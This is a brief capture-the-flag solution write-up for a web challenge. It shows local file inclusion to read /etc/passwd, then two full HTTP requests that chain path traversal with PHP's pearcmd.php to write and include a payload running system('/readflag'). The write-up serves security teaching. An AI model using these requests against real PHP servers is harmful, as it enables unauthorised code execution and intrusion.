Skip to content

Latest commit

 

History

History
21 lines (11 loc) · 434 Bytes

File metadata and controls

21 lines (11 loc) · 434 Bytes

Sourceless Guessy Web - Solution

Author: zeyu2001

Category: Web

Baby Flag

LFI to view /etc/passwd

Easy Flag

Achieve RCE through the pre-installed pearcmd.php

  1. Write a PHP payload to /tmp/pwn.php:

GET /?page=../../../../usr/local/lib/php/pearcmd.php&+config-create+/tmp/<?=system('/readflag')?>/*+/tmp/pwn.php HTTP/1.1

  1. LFI to include /tmp/pwn.php:

GET /?page=../../../../tmp/pwn.php HTTP/1.1